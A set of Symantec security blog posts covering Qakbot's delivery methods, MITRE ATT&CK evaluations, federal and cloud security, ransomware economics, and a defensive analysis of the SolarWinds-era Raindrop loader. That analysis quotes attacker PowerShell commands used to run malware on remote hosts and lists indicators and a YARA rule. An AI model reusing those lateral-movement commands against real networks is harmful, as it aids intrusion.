Qakbot is operated by a cybercrime group Symantec, part of Broadcom, calls Batbug. The malware is one of the most enduring threats, having first appeared in 2007. Like several similar malware families, Qakbot started life as a banking Trojan and, aside from its prevalence, it became known for its functionality and adaptability. For example, once it infected one machine in an organization, it was able to spread laterally across networks utilizing a worm-like functionality through brute-forcing network shares and Active Directory user group accounts, or via server message block (SMB) exploitation.
Qakbot is largely spread via email. While it was once delivered by the Emotet botnet, Qakbot is now usually delivered directly via email spam runs, suggesting its operators acquired access to spamming infrastructure following Emotet’s disappearance. These emails may include a malicious link or attachment, and the subject lines generally refer to popular lure subjects such as shipping updates, work orders, urgent requests, invoices, and claims.
Recent Activity
In recent years, Qakbot has become closely associated with ransomware activity with Qakbot infections acting as the initial breach that ultimately leads to ransomware deployment on an organization’s network. Qakbot has been associated with multiple ransomware operations in recent years, including Sodinokibi, Egregor, ProLock, and MountLocker. Most recently, it has been seen collaborating with the BlackBasta ransomware operation.
Activity by Qakbot stepped up significantly from January 2023, when its malicious emails leveraged Microsoft OneNote attachments to drop Qakbot on infected machines. OneNote is a desktop digital notebook application that is installed by default in all Microsoft Office/365 installations. Even if a Windows user does not typically use the application, it is still available to open the file format.
The malicious emails contained an embedded URL. When clicked, it leads to a ZIP archive that contains a malicious OneNote file. Clicking on this file leads to the execution of an HTML Application (HTA) file that ultimately leads to a Qakbot DLL being downloaded onto a victim’s machine. It is downloaded as a .png file via curl before being loaded by rundll32.exe.
There were indications in at least one Qakbot attack observed by Symantec that the initial access vector may have been malvertising. The attack chain in that instance began with the victim visiting a malicious website on the Chrome browser. This coincided with reports about malware, including IcedID, being spread via ads on Google.
This surge in Qakbot activity appeared to last until June 2023. The attackers made frequent tweaks to their attack chain, likely in a bid to evade detection. OneNote files were eventually abandoned and by June the attackers were largely favoring PDF documents, which led to URLs from which malicious ZIP archives containing JavaScript downloaders were downloaded.
It is unclear yet whether Qakbot's sudden cessation of activity in June was linked to this takedown operation.
Significant blow
Batbug has long been one of the largest players in the cybercrime landscape, controlling a lucrative malware distribution network that was linked to multiple major ransomware gangs. This takedown is likely to disrupt Batbug’s operations and it is possible that the group may struggle to rebuild its infrastructure in its aftermath.
Protection/Mitigation
For the latest protection updates, please visit the Symantec Protection Bulletin.
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Quantity Does Not Equal Quality
Symantec Enterprise – a powerful ally for our customers
The MITRE ATT&CK® Evaluation provides powerful data for those who can put the results into the context of their networks and the needs of their SOCs. MITRE does not declare a winner, and instead simply encourages participation. Unfortunately, many vendors have seized a single raw result having some chart topping attribute and declared it a proof point. That proof point is then used to turn a report that is an evaluation into a contest and to declare themselves victors. Without real world context this is a hollow victory, or as some may call it: Marketing!
The MITRE ATT&CK® Evaluation results give us as vendors a solid idea of how we can get better. It gives customers a view of the ability of their product to defend them against these threats. And it can help a customer compare products, but not without judging the results within the context of usability, complexity and required customization. Declaring a product better based only on quantity of alerts, for example, means quality is not considered. And likely the “winner” is a product that is noisy and unusable.
The MITRE ATT&CK® Evaluation results give us as vendors a solid idea of how we can get better.
For instance, not all detections are equal. Especially detections that depend on the SOC to create them. The MITRE ATT&CK® Evaluation allows you to add customized detection. No disagreement here. But some vendors have very high expectations of their customer’s ability to write custom scripts. What is not measured is the effort to write these scripts. Can anyone in the SOC create this script, or does it require an advanced degree or extensive training? Vendors who rise to the top of the results by depending on the SOC to write complicated scripts have really just shifted the burden of detection to the customers they are claiming to protect… who is providing the value here?
So, can you use the evaluation to tell which product is best? This is probably the wrong goal. But you can get an excellent idea of how good a product is in a realistic attack scenario. Let’s look at alerts. On the surface it seems like the more alerts you produce on potential attacks the better. But anyone working in a SOC knows that more is not better when it comes to alerts. Especially when the vendor alerts on all instances of a file being compressed, or every PowerShell command being executed. Just looking at all these alerts would overwhelm a SOC. No one has the resources to look into that many alerts.
But anyone working in a SOC knows that more is not better when it comes to alerts.
Of course having the fewest alerts is probably not a good thing either. One way to look at these results is that most vendors are too hot or too cold. The soup is best when the temperature is just right.
We’ve tried to create a model to help understand the results. It’s not who has the most alerts, or the least. It’s the vendors that have them just right. We want to measure quality of alerts, not quantity.
We went through and gave a value to alert types. We gave a high value to critical techniques alerted on. Things like: Credential Dumping, UAC Bypass, Exfiltration, Service Execution, and Persistence. We used a score of 3+. You might want to use a higher or lower score.
For alerts that did not indicate a critical technique being used to further an attack, things like File and Directory Discovery, Commonly Used Ports, Query Registry and File Deletion, we gave a -3. Again, you should set the score to what you feel is right. But given our years of threat hunting experience these seemed just right to us.
Now we have a measurement of the effectiveness of our products. And we know we are on the right track with our product strategy. We are building high quality detections that are actionable, that help focus the SOC on events that are important and giving them the tools to analyze and respond. That’s our goal, being powerful allies to the SOC, not giving them more work. Our focus is not winning these “marketing” exercises, but rather have our customers be the winners.
If you’d like to try this for yourself, adjust the numbers, or use this model for other parts of the evaluation results the script can be downloaded here
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Race Against Time for Federal Agencies to Fix Cyber Woes
As gov’t agencies struggle to shore up their defenses, experts say change is possible, but will require major work to remedy lingering security shortcomings
For each high-profile data breach of a corporation that hits the front page there are thousands of lesser cyber attacks ongoing against businesses throughout the country. It should come as no surprise that the same is true when it comes to U.S. federal agencies. A recent report by the White House’s Office of Management and Budget (OMB) documents this truth. More critically, however, the OMB report also reveals the cyber security shortfalls at a large majority of our federal agencies.
In fact, the scope and nature of the many security deficiencies identified raises a serious question: Why are federal agencies struggling so much with their data security issues?
Before brushing off that question as alarmist, consider just a few of the OMB report’s findings:
Of the 96 federal agencies surveyed, 71 (74%) were deemed to have cyber security programs that were either at risk or at high risk.
During fiscal year 2016, the agencies experienced 30,899 cyber incidents that led to the compromise of information or system functionality, and the agencies couldn’t identify the method of attack of the attack vector in 11,802 (38%) of those instances.
Only 27% of the agencies have the ability to detect and investigate attempts to access large volumes of data, and even fewer report testing those capabilities annually.
Only 49% of the agencies have the ability to detect and whitelist software running on their systems.
Nearly three-quarters (73%) of agencies encrypt data in transit, but just 16% encrypt data at rest.
Although it identified these and many other shortcomings, the OMB study wasn’t designed to explore two of the biggest threats to cyber security: the prevalence of legacy IT systems and software throughout the federal government, and the challenge – shared with the private sector – of finding and hiring security professionals.
Before we jump to the conclusion that the federal cyber security sky is falling, however, it’s important to note that the OMB report also proposes a number of corrective actions and initiatives. If pursued, those recommendations could go a long way to plugging many of the federal agencies’ current security gaps.
Working with the Director of National Intelligence and other departments, for example, the OMB intends to keep pushing the adoption of the Cyber Threat Framework. In part, this framework provides a means to describe cyber threat activity in a standard way that helps facilitate information sharing and threat analysis.
Several of the OMB’s recommendations aim to promote increased standardization of IT infrastructure and cyber security systems. Legacy IT or not, too many agencies have a patchwork of multiple, often redundant, systems, which can be difficult or impossible to secure in a holistic fashion. Consider that one agency evaluated by the OMB had 62 separately managed email systems within its environment!
It has proven difficult to rectify fragmented IT environments, in part, because agency CIOs have often lacked the authority to make needed decisions and acquisitions. (Indeed, some agencies have had multiple CIOs, splintering both IT environments and manager accountability.) The Federal Information Technology Acquisition Reform Act, adopted as part of the National Defense Authorization Act for FY2015, is gradually having a positive impact in correcting this situation as agencies work through its dictates.
Another area of focus in the OMB report is the variable quality of the security operations centers (SOCs) at each federal agency – along with the fact that some agencies operate multiple SOCs. The OMB report suggests consolidating SOCs in some instances, and is exploring the possibility of designating, in cooperation with the Department of Homeland Security, at least one agency as a SOC Center of Excellence. Another option being explored is to have select agencies provide “SOC-as-a-Service” to agencies lacking strong security teams of their own.
Legacy IT or not, too many agencies have a patchwork of multiple, often redundant, systems, which can be difficult or impossible to secure in a holistic fashion.
Chris Townsend, vice president of federal at Symantec, finds most of the OMB’s recommendations to be on target, although he might quibble with a few particulars. For example, he cautions, there can be a risk in taking SOC consolidation too far, given that each federal agency has specific challenges and needs. “The missions of individual agencies are unique enough that you’ll still want individual SOCs, which can then be federated into one another,” he said.
Broadly speaking, however, “I don’t think the federal government’s cyber security issues are significantly different from those in the private sector,” Townsend said. Both private and government organizations face many of the same threats and are struggling with the same challenges, he added.
One of the most fundamental of these challenges, Townsend says, is the need to improve the interoperability among security tools and platforms from different suppliers. To help facilitate the goal of integrated cyber defense, Symantec recently launched a Technology Integration Partners Program to promote standards adoption and interoperability among providers of different security solutions.
Ultimately, improving the cyber security of federal agencies will require tight cooperation between both government institutions and the cyber security industry. Townsend says that Symantec has “very good” working relationships with many cyber security decision makers at the federal level – including with the former cyber security coordinator Rob Joyce. Townsend expects that strong collaboration to continue, although he agrees it would help if some of the now-vacant cyber security roles were quickly filled. In April, Joyce announced that he was leaving his post to return to the National Security Agency. A week earlier, Tom Bossert, a White House homeland security advisor often identified as the administration’s “cyber security czar,” resigned.
Long story short, the federal government needs to get its cyber security act together. The challenges federal agencies face are daunting, and their current state of security is cause for great concern, but if they adopt the correct approach – and technologies – they will have much more success in the future.
If you found this information useful, you may also enjoy:
Defense Cyber Security Adapts to a World in Which Data is the New Endpoint
IT Modernization is Finally Coming to Federal Agencies
Report to the President on Federal IT Modernization
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Race to the Cloud Creates Security Complexity
Symantec announces new ways to bring security to your cloud infrastructure
Cloud computing has gone mainstream as more organizations shift their applications and workloads from on-premise data centers to public cloud platforms.
Almost every company in the world—96 percent, according to one annual survey[1]—has moved some part, if not the majority, of their business to the cloud. Yet, the picture remains complex: A little more than half of all companies employ a hybrid cloud strategy, mixing on-premise infrastructure with public clouds, while 81 percent take a multi-cloud approach, tapping into multiple cloud providers simultaneously for infrastructure.
These complex cloud implementations make security really difficult, making the transition to the cloud a risky proposition. While cloud providers are responsible for securing the underlying infrastructure on which their cloud services run, businesses are on the hook for securing everything else – their data, applications, workloads and containers. The security mindset must also change with this shift to the cloud. Most security professionals know that security does not stop at the perimeter, but adopting the public cloud opens up new vectors of risk and threat.
Part of the solution is to use third party, cloud-native security tools to give you better visibility and improved security of the myriad cloud services that are being used across your company often outside the purview of IT. Cloud Access Security Brokers (CASBs) can give companies visibility into and help rein in the use of vulnerable or non-compliant SaaS applications by well-meaning—but in the end, short-sighted—employees.
Cloud Workload Protection (CWP) solutions have emerged in the past 2-3 years to address cloud workload risks deployed in Infrastructure-as-a-Service (IaaS). Defending workloads, containers and cloud storage against evolving, malware-based attacks (example: ransomware) as well as faulty configurations is necessary to guarantee security. Especially if your company deals with multiple cloud IaaS platforms, it needs a consistent way to govern security and enforce compliance.
Deploying CASB and CWP solutions together helps to secure SaaS applications, PaaS, and IaaS deployments without compromising the protection levels. Data loss prevention, threat protection and other data and application security controls are being integrated with CASB and CWP solutions to address the detection of sensitive data and malware in cloud apps and workloads.
There is an emerging category of capabilities called Cloud Security Posture Management (CSPM) that can assess your cloud infrastructure to ensure compliance with regulations and identify security vulnerabilities. This is a new way of securing the cloud IaaS management plane, which is used to manage and configure cloud resources such as launching virtual instances or configuring virtual networks.
Today, Symantec introduced a variety of innovations that will help companies secure their cloud applications, cloud infrastructure and the data that resides in the cloud, leveraging our field-tested, robust technologies and threat intelligence that has helped hundreds of thousands of global businesses defend their on-premises assets. We are bringing all of our industry-leading technologies—along with new products and cloud-delivered managed security services innovations - to market under the umbrella of Symantec’s Integrated Cyber Defense platform.
We are excited to announce the following new product and service innovations:
Symantec Cloud Workload Assurance, the first full Cloud Security Posture Management (CSPM) solution integrated with Symantec CloudSOC CASB and Cloud Workload Protection, protects customers from cloud misconfigurations in Amazon Web Services and Microsoft Azure.
Symantec CloudSOC is the first CASB to provide visibility, security and threat protection for any cloud application, including mobile and browser-based versions. Additionally, CloudSOC monitors risky app usage and significantly reduces the time it takes to identify and remediate security incidents.
Symantec Cloud Workload Protection for Storage with Data Loss Prevention protects sensitive data in AWS S3 buckets and enforces compliance initiatives such as GDPR.
Symantec Managed Cloud Defense provides customers with 24x7 monitoring of their AWS and Azure environments by our team of cyber security experts.
Is your cloud usage secure? Feel free to reach out and contact us for more information.
[1] RightScale, RightScale 2018 State of the Cloud Report, whitepaper, 13 Feb 2018, https://www.rightscale.com/press-releases/rightscale-2018-state-of-the-cloud-report.
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Raindrop: New Malware Discovered in SolarWinds Investigation
Tool was used to spread onto other computers in victims’ networks.
Symantec, a division of Broadcom (NASDAQ: AVGO), has uncovered an additional piece of malware used in the SolarWinds attacks which was used against a select number of victims that were of interest to the attackers.
Raindrop (Backdoor.Raindrop) is a loader which delivers a payload of Cobalt Strike. Raindrop is very similar to the already documented Teardrop tool, but there are some key differences between the two. While Teardrop was delivered by the initial Sunburst backdoor (Backdoor.Sunburst), Raindrop appears to have been used for spreading across the victim’s network. Symantec has seen no evidence to date of Raindrop being delivered directly by Sunburst. Instead, it appears elsewhere on networks where at least one computer has already been compromised by Sunburst.
Raindrop attacks
In one victim, in early July 2020, Sunburst was installed through the SolarWinds Orion update, as has been well documented. Two computers were compromised.
The following day, Teardrop was subsequently installed on one of these computers. That computer was found to have an active directory query tool, as well as a credential dumper designed specifically for SolarWinds Orion databases. The credential dumper was similar to, but not the same as, the open source Solarflare tool.
Eleven days later, on a third victim computer in the organization, where no previous malicious activity had been observed, a copy of the previously unseen Raindrop was installed under the name bproxy.dll. This computer was running computer access and management software. The attackers could have used this software to access any of the computers in the compromised organization.
One hour later, the Raindrop malware installed an additional file called "7z.dll". We were unable to retrieve this file, however, within hours a legitimate version of 7zip was used to extract a copy of what appeared to be Directory Services Internals (DSInternals) onto the computer. DSInternals is a legitimate tool which can be used for querying Active Directory servers and retrieving data, typically passwords, keys, or password hashes.
An additional tool called mc_store.exe was later installed by the attackers on this computer. The tool is an unknown PyInstaller packaged application. No further activity was observed on this computer.
Figure 1. Example of Raindrop victim timeline
In a second victim where the Raindrop loader was seen, it was installed in a file called astdrvx64.dll in late May. Several days later, in early June, PowerShell commands were executed on that computer, attempting to execute further instances of Raindrop on additional computers in the organization.
"Invoke-Command -ComputerName REDACTED -ScriptBlock { rundll32 c:\Packages\Plugins\Microsoft.Powershell.DSC\2.77.0.0\bin\TelemetryStatus.dll Tk_CreateItemType}"
"Invoke-WMIMethod win32_process -name create -argumentlist 'rundll32 c:\windows\Speech_OneCore\Engines\TTS\en-US\enUS.Media.dll TkChangeEventWindow' -ComputerName REDACTED"
In a third victim, where Raindrop was seen, the instance of Cobalt Strike that was extracted did not have a HTTP-based command and control server, but was rather configured to use a network pipe over SMB (\\.\pipe\protected_storage[REDACTED]). It's possible that in this instance, the victim computer did not have direct access to the internet, and so command and control was routed through another computer on the local network.
Raindrop technical analysis
Raindrop is similar to Teardrop in that both pieces of malware act as a loader for Cobalt Strike Beacon. Raindrop uses a custom packer to pack Cobalt Strike. This packer is different to the one used by Teardrop.
Raindrop is compiled as a DLL, which is built from a modified version of 7-Zip source code. The 7-Zip code is not utilized and is designed to hide malicious functionality added by the attackers. The DLL is compiled where the Name file of the Export Directory Table is “"7-zip.dll" and the Export Names are:
DllCanUnloadNow
DllGetClassObject
DllRegisterServer
DllUnregisterServer
And one of the following, selected at random:
Tk_DistanceToTextLayout
Tk_GetScrollInfoObj
Tk_MainLoop
XGetGeometry
The Export Names used seem to overlap with names used by Tcl/Tk projects (see here and here).
Custom packer
Whenever the DLL is loaded, it starts a new thread from the DllMain subroutine that executes the malicious code. This malicious thread performs the following actions:
Executes some computation to delay execution. This does not affect functionality.
Locates start of the encoded payload which is embedded within legitimate 7-Zip machine code.
In order to locate the start of the encoded payload, the packer uses steganography by scanning the bytes starting from the beginning of the subroutine and skipping any bytes until the first occurrence of the following bytes that represent operation codes (opcodes) of interest:
.data:0000000180053008 opcodes db 5, 0Dh, 15h, 1Dh, 25h, 2Dh, 35h, 3Dh, 0B8h
The malware will then perform the following actions:
Extract the encoded payload. This involves simply copying data from pre-determined locations that happen to correspond to immediate values of the relevant machine instructions.
Decrypt the extracted payload. This uses the AES algorithm in CBC mode.
Decompress the decrypted payload. This uses the LZMA algorithm.
Decrypt the decompressed payload. This is simple XOR with byte key and as such does not impact compression ratio.
Execute the decrypted payload as shellcode.
Raindrop and Teardrop comparison
Although Raindrop is very similar to Teardrop, there are some key differences between the tools. As mentioned previously, Raindrop uses a different packer. The packers differ in the following ways:
TEARDROP RAINDROP
PAYLOAD FORMAT Custom, reusing features from PE format. It may be possible to reuse the packer with a range of different payloads supplied as PE DLLs with automatic conversion. Shellcode only.
PAYLOAD EMBEDDING Binary blob in data section. Steganography, stored at pre-determined locations within the machine code.
PAYLOAD ENCRYPTION visualDecrypt combined with XOR using long key. AES layer before decompression; separate XOR layer using one byte key after decompression.
PAYLOAD COMPRESSION None. LZMA.
OBFUSCATION Reading JPEG file. Inserted blocks of junk code, some could be generated using a polymorphic engine. Non-functional code to delay execution.
EXPORT NAMES Export names vary, in some cases names overlapping with Tcl/Tk projects. Export names overlap with Tcl/Tk projects.
STOLEN CODE Byte-copy of machine code from pre-existing third-party components. The original code is distributed in compiled format only. Recompiled third-party source code.
While both malware families are designed to deploy Cobalt Strike Beacon, there are differences in Cobalt Strike configuration. To date, Symantec has seen four samples of Raindrop. In three cases, Cobalt Strike was configured to use HTTPS as a communication protocol. In the fourth it was configured to use SMB Named Pipe as a communication protocol.
All three Raindrop samples using HTTPS communication follow very similar configuration patterns as previously seen in one Teardrop sample (b820e8a2057112d0ed73bd7995201dbed79a79e13c79d4bdad81a22f12387e07).
The most important similarities are highlighted below.
TEARDROP
SHA256 b820e8a2057112d0ed73bd7995201dbed79a79e13c79d4bdad81a22f12387e07
URLs https(://)infinitysoftwares(.)com/files/information_055.pdf
https(://)infinitysoftwares(.)com/wp-admin/new_file.php
POST FORM name="uploaded_1";filename="33139.pdf" Content-Type: text/plain
RAINDROP
SHA256 be9dbbec6937dfe0a652c0603d4972ba354e83c06b8397d6555fd1847da36725
URLs https(://)bigtopweb(.)com/files/page_306.pdf
https(://)bigtopweb(.)com/wp-admin/admin-ajax.php
POST FORM name="uploaded_1";filename="84921.pdf" Content-Type: text/plain
RAINDROP
SHA256 f2d38a29f6727f4ade62d88d8a68de0d52a0695930b8c92437a2f9e4de92e418
URLs https(://)panhardware(.)com/files/documentation_076.pdf
https(://)panhardware(.)com/wp-admin/new_file.php
POST FORM name="uploaded_1";filename="18824.pdf" Content-Type: text/plain
All of the aforementioned domains use a common Registrar, NameSilo, LLC and, except for panhardware[.]com, which is currently sinkholed, have common name servers:
ns1.dnsowl.com
ns2.dnsowl.com
ns3.dnsowl.com
Clearer picture
The discovery of Raindrop is a significant step in our investigation of the SolarWinds attacks as it provides further insights into post-compromise activity at organizations of interest to the attackers. While Teardrop was used on computers that had been infected by the original Sunburst Trojan, Raindrop appeared elsewhere on the network, being used by the attackers to move laterally and deploy payloads on other computers.
Protection/Mitigation
Tools associated with these attacks will be detected and blocked on machines running Symantec Endpoint products.
File-based protection:
Backdoor.Raindrop
Backdoor.Teardrop
Backdoor.Sunburst
Backdoor.Sunburst!gen1
Backdoor.SuperNova
Network-based protection:
System Infected: Sunburst Malware Activity
For the latest protection updates, please visit the Symantec Protection Bulletin.
Yara Rules
rule RaindropPacker
{
meta:
copyright = "Symantec"
family = "Raindrop"
strings:
$code = {
41 8B 4F 20 // mov ecx, [r15+20h]
49 8D 77 24 // lea rsi, [r15+24h]
89 8D ?? ?? 00 00 // mov dword ptr [rbp+0A0h+arg_0], ecx
E8 ?? ?? ?? ?? // call sub_180010270
33 D2 // xor edx, edx
48 8D 4C 24 ?? // lea rcx, [rsp+1A0h+var_160]
44 8D 42 10 // lea r8d, [rdx+10h]
E8 ?? ?? ?? ?? // call sub_180038610
48 8D 5C 24 ?? // lea rbx, [rsp+1A0h+var_150]
F7 DB // neg ebx
48 8D 7C 24 ?? // lea rdi, [rsp+1A0h+var_150]
48 C1 EB 02 // shr rbx, 2
48 8D 54 24 ?? // lea rdx, [rsp+1A0h+var_160]
83 E3 03 // and ebx, 3
48 8D 3C 9F // lea rdi, [rdi+rbx*4]
48 8B CF // mov rcx, rdi
E8 ?? ?? ?? ?? // call sub_1800101D0
48 8D 4C 24 ?? // lea rcx, [rsp+1A0h+var_140]
49 8B D7 // mov rdx, r15
48 8D 0C 99 // lea rcx, [rcx+rbx*4]
BB 20 00 00 00 // mov ebx, 20h
44 8B C3 // mov r8d, ebx
E8 ?? ?? ?? ?? // call sub_180010ED0
44 8B 85 ?? ?? 00 00 // mov r8d, dword ptr [rbp+0A0h+arg_0]
48 8B D6 // mov rdx, rsi ; _QWORD
49 C1 E8 04 // shr r8, 4 ; _QWORD
48 8B CF // mov rcx, rdi ; _QWORD
FF 15 ?? ?? ?? ?? // call cs:qword_180056E90
8B 95 ?? ?? 00 00 // mov edx, dword ptr [rbp+0A0h+arg_0]
4C 8D 85 ?? ?? 00 00 // lea r8, [rbp+0A0h+dwSize]
48 83 A5 ?? ?? 00 00 00 // and [rbp+0A0h+dwSize], 0
48 8B CE // mov rcx, rsi
E8 ?? ?? ?? ?? // call sub_180009630
48 8B 95 ?? ?? 00 00 // mov rdx, [rbp+0A0h+dwSize] ; dwSize
44 8B CB // mov r9d, ebx ; flProtect
41 B8 00 10 00 00 // mov r8d, 1000h ; flAllocationType
33 C9 // xor ecx, ecx ; lpAddress
FF 15 ?? ?? ?? ?? // call cs:VirtualAlloc
48 8B 95 ?? ?? 00 00 // mov rdx, [rbp+0A0h+dwSize] ; dwSize
4C 8D 8D ?? ?? 00 00 // lea r9, [rbp+0A0h+flOldProtect] ; lpflOldProtect
48 8B C8 // mov rcx, rax ; lpAddress
41 B8 04 00 00 00 // mov r8d, 4 ; flNewProtect
48 8B D8 // mov rbx, rax
FF 15 ?? ?? ?? ?? // call cs:VirtualProtect
4C 8D 8D ?? ?? 00 00 // lea r9, [rbp+0A0h+arg_0]
4C 8B C6 // mov r8, rsi
48 8D 95 ?? ?? 00 00 // lea rdx, [rbp+0A0h+dwSize]
48 8B CB // mov rcx, rbx
E8 ?? ?? ?? ?? // call sub_1800095A0
4D 8B C6 // mov r8, r14
33 D2 // xor edx, edx
49 8B CF // mov rcx, r15
E8 ?? ?? ?? ?? // call sub_180038610
33 D2 // xor edx, edx ; dwSize
41 B8 00 80 00 00 // mov r8d, 8000h ; dwFreeType
49 8B CF // mov rcx, r15 ; lpAddress
FF 15 ?? ?? ?? ?? // call cs:VirtualFree
48 8B 95 ?? ?? 00 00 // mov rdx, [rbp+0A0h+dwSize]
48 85 D2 // test rdx, rdx
74 1B // jz short l_1
48 8B CB // mov rcx, rbx
80 31 ?? // l_0: xor byte ptr [rcx], 39h
48 FF C1 // inc rcx
48 8B 95 ?? ?? 00 00 // mov rdx, [rbp+0A0h+dwSize] ; dwSize
48 8B C1 // mov rax, rcx
48 2B C3 // sub rax, rbx
48 3B C2 // cmp rax, rdx
72 E8 // jb short l_0
44 8B 85 ?? ?? 00 00 // l_1: mov r8d, [rbp+0A0h+flOldProtect] ; flNewProtect
4C 8D 8D ?? ?? 00 00 // lea r9, [rbp+0A0h+flOldProtect] ; lpflOldProtect
48 8B CB // mov rcx, rbx ; lpAddress
FF 15 ?? ?? ?? ?? // call cs:VirtualProtect
FF D3 // call rbx
}
condition:
all of them
}
The Yara rules are also available for download on GitHub.
Indicators of Compromise
SHA256 DESCRIPTION
f2d38a29f6727f4ade62d88d8a68de0d52a0695930b8c92437a2f9e4de92e418 astdrvx64.dll & sddc.dll (Raindrop)
be9dbbec6937dfe0a652c0603d4972ba354e83c06b8397d6555fd1847da36725 bproxy.dll (Raindrop)
955609cf0b4ea38b409d523a0f675d8404fee55c458ad079b4031e02433fdbf3 cbs.dll (Raindrop)
N/A Telemetry.Settings.dll (Likely Raindrop)
N/A enUS.Media.dll (Likely Raindrop)
N/A TelemetryStatus.dll (Likely Raindrop)
240ef5b8392b8c7a5a025c36a7e5b0e03e5bb0d0d1a28703bb22e6159a4fd10e mc_store.exe (Unknown)
f2d38a29f6727f4ade62d88d8a68de0d52a0695930b8c92437a2f9e4de92e418 panhardware[.]com
955609cf0b4ea38b409d523a0f675d8404fee55c458ad079b4031e02433fdbf3 \\.\pipe\protected_storage[REDACTED]
be9dbbec6937dfe0a652c0603d4972ba354e83c06b8397d6555fd1847da36725 bigtopweb[.]com
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Ransom Payments are Fueling the Ransomware Scourge
An unhealthy ecosystem has developed around ransomware. The time has come to change the dynamic. We must compensate the victims, not the criminals.
When it comes to choosing their victims, ransomware attackers have become brutally adept at finding pain points.
Their targets range from hospitals, schools, and local government to key infrastructure, such as water treatment and fuel pipelines – and they’re succeeding. Ransomware gangs have aggressively honed their tactics over time while ransomware creators franchise their tools to affiliates in exchange for a cut of the loot. Hardly a day goes by without news of another organization being hit by one of these groups.
No longer just a criminal menace, the ransomware scourge now affects society as a whole, reaching a point where it has drawn comparisons to the challenge the nation faced following the September 11, 2001, terrorist attacks.
The time has come to change the dynamic that has developed around ransomware. While ransom payments may be sometimes unavoidable, ransom payment should be a measure of last resort, not the first response. Cyber insurance should be there to compensate victims, not reward attackers. Governments should recognize the key role they can play in assisting victims, both technically and financially.
Calculated disruption
The Conti ransomware attack against Ireland’s national health service, the Health Service Executive (HSE), starkly illustrates the gravity of the threat we now face. In the middle of a global pandemic, attackers crippled its network, causing massive disruption to vital services and forcing it to cancel medical appointments. While the attackers subsequently released a decryption key, they are still attempting to hold the HSE to ransom by threatening to release sensitive patient records stolen during the attack.
It would be a mistake to assume that the HSE was an unintentional victim of an indiscriminate campaign. We have no doubt that the attackers knew who they were infecting. It’s hardly a coincidence that the Irish government’s Department of Health was also targeted, albeit less successfully. Crippling the country’s health system appeared to be the end goal. And, as the FBI highlighted last month, attackers using Conti have previously targeted at least 16 healthcare and first responder organizations in the U.S. alone.
Attacks such as these can require a high degree of interaction from malware operators, both to successfully deploy the ransomware across the victim’s network and, at the same time, to profile the victim to better estimate the amount of ransom they’re likely to pay based on the success of the attacker’s activity and the quality of the data available for exfiltration. The group behind the HSE attack proceeded with their attack because they knew the disruption it would cause at this key point in the Irish response to the COVID-19 pandemic could lead to a major payoff.
Too often, the commentary following a major ransomware attack such as this focuses on the victim, asking whether they had done enough to secure their network. While there is an obvious duty on the part of the victim to make every effort to protect the IT systems and data on which it depends, to solely blame the victim for the attack is overly simplistic and distorts an understanding of the wider issue of why ransomware has become such a stunningly successful criminal enterprise. Aside from the fact that over-zealous public criticism of victims only encourages more victims to quietly capitulate and pay, it also draws attention away from the true perpetrators.
The criminals behind targeted ransomware are now among the most technically proficient and well-resourced threat groups operating today. Blockchain analysis company Chainalysis estimated that ransomware gangs netted just under $350 million in 2020, a massive 311% increase over 2019.
The scale of ransom payouts now means that the most successful groups will have a bigger operating budget than the victim’s network defenders in all but the largest of organizations. This allows them to operate both at a massive scale and also to persist in their attacks until they’re successful.
Unhealthy ecosystem
The Irish government is to be commended for not bowing to pressure and paying a ransom. This is a stance that may be put under increasing pressure in the weeks and months ahead, particularly if the restoration of services proves slow or if sensitive medical data is leaked online. Nevertheless, it is the right decision.
It is an unfortunate fact that there will be occasions when some victims will find themselves with no choice other than to pay the ransom. However, we are deeply concerned about how regularly the response to a ransomware attack has begun to resemble a professional transaction—a simple business cost. All too often, ransoms appear to be paid because the cost of the ransom is calculated as being lower than the short-term cost of restoring the victim’s IT systems from backups or because the ransom payment is covered by cyber insurance. These decisions are based on a short-term calculus, ignoring the long-term consequences of continuing to invest in an unhealthy ecosystem where ransomware attackers thrive and multiply.
Over the long term, it’s going to do far more good for insurance payouts to go exclusively to the victims to reestablish their operations. This may cost more in the short term and raise costs for insurers and the premiums they charge, but taking a broader view, it’s the only way of cutting off ransomware criminals from the proceeds of their crimes and deterring future ransomware criminality.
Governments have become alert to the role they need to play in tackling what is increasingly a societal problem. Much of the focus so far has been on the more obvious role government can play in providing IT security guidance and where necessary, defining security and reporting regulation for critical organizations. However, we suggest a more strategic way of tackling the ransomware threat specifically also needs to be considered. Many organizations, especially small businesses and local government, don’t have the technical resources to quickly recover their operations. To make it easier for ransomware victims to refuse to pay the extortion demands, government should also consider the role it can play in providing not only technical guidance but also supplying direct technical and financial support to these ransomware victims with the aim of getting them back on their feet as soon as possible.
The threat of cyber criminals selling or publicizing stolen data is also forcing organizations into paying ransoms and this is increasingly as potent a tool in extorting a ransom as the outright crippling of IT systems, especially for public bodies that have a legal obligation regarding the protection of customer or user data. More can be done to reduce the impact of this type of crime. The Irish Health Service Executive’s response to its ransomware breach suggests a way forward. The HSE secured a legal injunction from the Irish High Court, restraining any sharing, processing, selling, or publishing of the stolen data. While a legal response rarely deters cyber criminals, it does have real value in reducing the likelihood of personal information being shared online or via social media, lessening the pressure on victims to pay extortion money to the ransomware criminals.
Tough decisions
We can’t pretend that fixing the toxic dynamic around ransomware is going to be easy. It is also clear that things are continuing to get worse and will only get better by combining effective detection and defense against ransomware with an increased focus on reducing the financial attraction of this activity to cyber criminals. As we saw with the addition of stolen data blackmail being added to ransoming IT systems, ransomware gangs have shown themselves adept at finding new techniques to pressure their victims and will certainly redouble their efforts if they encounter resistance. Whatever approach they take can only be defeated by further improving our ability make it harder for ransomware attacks to be successful, while at the same time equal effort needs to be made to reduce or remove entirely the money that feeds the criminals at the center of the ransomware ecosystem.
We can put the odds back in our favor by making it harder for ransomware attackers to get away with it. That means more effective detection and defense. At the same time, equal effort needs to be made to reduce – or remove entirely – the money that feeds the criminals at the center of the global ransomware ecosystem.
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Ransomware Activity Declines, But Remains Dangerous Threat
Despite the recent falloff, Symantec’s latest Internet Security Threat Report finds that attacks against enterprise, mobile users remain sources of concern
A year or two ago, you could be forgiven if you thought the entire Internet was awash with ransomware. In 2016, researchers identified 98 new ransomware families, up from just 30 the prior year. Then, in 2017, the massively destructive WannaCry and Petya ransomware attacks garnered headlines around the world.
Lately, by contrast, it might seem as if ransomware has all but disappeared from the news. It turns out there is some reason for this attack form’s suddenly lower profile. During 2018, the number of ransomware infections actually fell by 20% compared to 2017, according to Symantec’s 2019 Internet Security Threat Report (ISTR). Furthermore, only 10 new ransomware families appeared during 2018.
